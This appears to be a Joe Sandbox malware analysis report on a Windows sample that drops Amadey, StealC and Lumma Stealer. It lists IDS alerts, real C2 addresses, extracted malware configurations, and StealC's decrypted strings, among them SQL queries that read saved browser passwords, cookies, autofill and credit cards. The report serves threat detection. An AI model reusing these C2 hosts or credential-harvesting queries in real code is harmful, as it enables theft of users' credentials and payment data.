2024-10-30T11:47:05.905363+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58217	188.114.96.3	443	TCP
2024-10-30T11:47:09.788173+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58223	188.114.96.3	443	TCP
2024-10-30T11:47:14.270308+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58239	188.114.96.3	443	TCP
2024-10-30T11:47:40.113391+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58247	188.114.96.3	443	TCP
2024-10-30T11:47:49.320744+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58248	188.114.96.3	443	TCP
2024-10-30T11:47:51.090506+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58249	188.114.96.3	443	TCP
2024-10-30T11:47:52.920565+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58250	188.114.96.3	443	TCP
2024-10-30T11:47:54.212612+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58251	188.114.96.3	443	TCP
2024-10-30T11:47:55.541901+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58252	188.114.96.3	443	TCP
2024-10-30T11:47:57.150545+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58253	188.114.96.3	443	TCP
2024-10-30T11:47:58.580753+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58254	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:26.956607+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49758	185.215.113.16	80	TCP
2024-10-30T11:47:01.308782+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	58204	185.215.113.16	80	TCP
2024-10-30T11:47:02.328510+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	58207	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:46:45.945402+0100	2044696	1	A Network Trojan was detected	192.168.2.7	58191	185.215.113.43	80	TCP
2024-10-30T11:46:55.487167+0100	2044696	1	A Network Trojan was detected	192.168.2.7	58198	185.215.113.43	80	TCP
2024-10-30T11:47:01.378149+0100	2044696	1	A Network Trojan was detected	192.168.2.7	58205	185.215.113.43	80	TCP
2024-10-30T11:47:06.869633+0100	2044696	1	A Network Trojan was detected	192.168.2.7	58218	185.215.113.43	80	TCP
2024-10-30T11:47:12.089262+0100	2044696	1	A Network Trojan was detected	192.168.2.7	58232	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:11.759270+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	50738	1.1.1.1	53	UDP
2024-10-30T11:46:45.846710+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	57934	1.1.1.1	53	UDP
2024-10-30T11:47:00.476895+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	62527	1.1.1.1	53	UDP
2024-10-30T11:47:38.487190+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	62313	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:11.776737+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	55134	1.1.1.1	53	UDP
2024-10-30T11:46:45.857668+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	54819	1.1.1.1	53	UDP
2024-10-30T11:47:00.501483+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	58030	1.1.1.1	53	UDP
2024-10-30T11:47:38.748765+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	50281	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:11.799030+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.7	61796	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:11.743501+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	52927	1.1.1.1	53	UDP
2024-10-30T11:46:45.833137+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	50788	1.1.1.1	53	UDP
2024-10-30T11:47:00.359510+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	57935	1.1.1.1	53	UDP
2024-10-30T11:47:38.117589+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	58170	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:11.787890+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	55563	1.1.1.1	53	UDP
2024-10-30T11:46:45.868770+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	52718	1.1.1.1	53	UDP
2024-10-30T11:47:00.512300+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	61818	1.1.1.1	53	UDP
2024-10-30T11:47:38.990376+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	49291	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:20.718555+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-30T11:46:50.140598+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	58195	188.114.96.3	443	TCP
2024-10-30T11:47:56.268215+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	58252	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:46:56.856933+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	58201	185.215.113.206	80	TCP
2024-10-30T11:47:05.503020+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	58216	185.215.113.206	80	TCP

ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:47:07.968372+0100	2800029	1	Attempted User Privilege Gain	31.41.244.11	80	192.168.2.7	58221	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:46:33.025975+0100	2856147	1	A Network Trojan was detected	192.168.2.7	58188	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:46:45.037523+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	58189	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:46:36.456582+0100	2803305	3	Unknown Traffic	192.168.2.7	58190	185.215.113.16	80	TCP
2024-10-30T11:46:46.857759+0100	2803305	3	Unknown Traffic	192.168.2.7	58193	185.215.113.16	80	TCP
2024-10-30T11:46:56.423512+0100	2803305	3	Unknown Traffic	192.168.2.7	58200	185.215.113.16	80	TCP
2024-10-30T11:47:02.328510+0100	2803305	3	Unknown Traffic	192.168.2.7	58207	185.215.113.16	80	TCP
2024-10-30T11:47:07.801582+0100	2803305	3	Unknown Traffic	192.168.2.7	58221	31.41.244.11	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:47:57.153375+0100	2843864	1	A Network Trojan was detected	192.168.2.7	58253	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000D.00000003.1584824472.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 39.0.num.exe.e60000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 42.0.test.exe.e90000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["dilemmadu.site", "servicedny.site", "contemteny.site", "seallysl.site", "goalyfeastz.site", "opposezmny.site", "faulteyotk.site", "authorisev.site"], "Build id": "2Zo0RN--PRIVATE"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 40%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\test[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	ReversingLabs: Detection: 40%
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1002600001\test.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Q5PCC4NA5LRKC8PQDTEQRA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002600001\test.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\test[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 39.0.num.exe.e60000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: 30
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: 11
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: 20
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: 24
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetProcAddress
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: LoadLibraryA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: lstrcatA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: OpenEventA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CreateEventA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CloseHandle
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Sleep
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: VirtualFree
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetSystemInfo
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: VirtualAlloc
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: HeapAlloc
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetComputerNameA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: lstrcpyA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetProcessHeap
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetCurrentProcess
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: lstrlenA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: ExitProcess
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetSystemTime
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: advapi32.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: gdi32.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: user32.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: crypt32.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: ntdll.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetUserNameA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CreateDCA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetDeviceCaps
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: ReleaseDC
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: sscanf
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: VMwareVMware
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: HAL9TH
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: JohnDoe
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: DISPLAY
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: http://185.215.113.206
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: bksvnsj
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: /746f34465cf17784/
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: tale
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetFileAttributesA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GlobalLock
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: HeapFree
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetFileSize
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GlobalSize
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: IsWow64Process
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Process32Next
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetLocalTime
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: FreeLibrary
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetVolumeInformationA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Process32First
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetLocaleInfoA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetModuleFileNameA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: DeleteFileA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: FindNextFileA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: LocalFree
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: FindClose
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: LocalAlloc
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetFileSizeEx
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: ReadFile
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SetFilePointer
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: WriteFile
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CreateFileA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: FindFirstFileA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CopyFileA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: VirtualProtect
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetLastError
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: lstrcpynA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: MultiByteToWideChar
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GlobalFree
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: WideCharToMultiByte
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GlobalAlloc
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: OpenProcess
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: TerminateProcess
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetCurrentProcessId
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: gdiplus.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: ole32.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: bcrypt.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: wininet.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: shlwapi.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: shell32.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: psapi.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: rstrtmgr.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SelectObject
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: BitBlt
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: DeleteObject
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CreateCompatibleDC
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GdiplusStartup
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GdiplusShutdown
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GdipDisposeImage
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GdipFree
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CoUninitialize
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CoInitialize
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CoCreateInstance
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: BCryptDecrypt
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: BCryptSetProperty
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: BCryptDestroyKey
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetWindowRect
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetDesktopWindow
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetDC
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CloseWindow
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: wsprintfA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CharToOemW
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: wsprintfW
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: RegQueryValueExA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: RegEnumKeyExA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: RegOpenKeyExA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: RegCloseKey
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: RegEnumValueA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: CryptUnprotectData
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SHGetFolderPathA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: ShellExecuteExA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: InternetOpenUrlA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: InternetConnectA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: InternetCloseHandle
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: InternetOpenA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: HttpSendRequestA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: HttpOpenRequestA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: InternetReadFile
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: InternetCrackUrlA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: StrCmpCA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: StrStrA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: StrCmpCW
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: PathMatchSpecA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: RmStartSession
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: RmRegisterResources
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: RmGetList
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: RmEndSession
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: sqlite3_open
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: sqlite3_step
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: sqlite3_column_text
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: sqlite3_finalize
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: sqlite3_close
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: sqlite3_column_blob
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: encrypted_key
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: PATH
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: NSS_Init
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: NSS_Shutdown
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: PK11_FreeSlot
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: PK11_Authenticate
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: C:\ProgramData\
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: browser:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: profile:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: url:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: login:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: password:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Opera
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: OperaGX
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Network
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: cookies
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: .txt
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: TRUE
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: FALSE
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: autofill
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: history
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: cc
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: name:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: month:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: year:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: card:
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Cookies
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Login Data
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: Web Data
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: History
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: logins.json
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: formSubmitURL
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: usernameField
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: encryptedUsername
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: encryptedPassword
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: guid
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 39.0.num.exe.e60000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
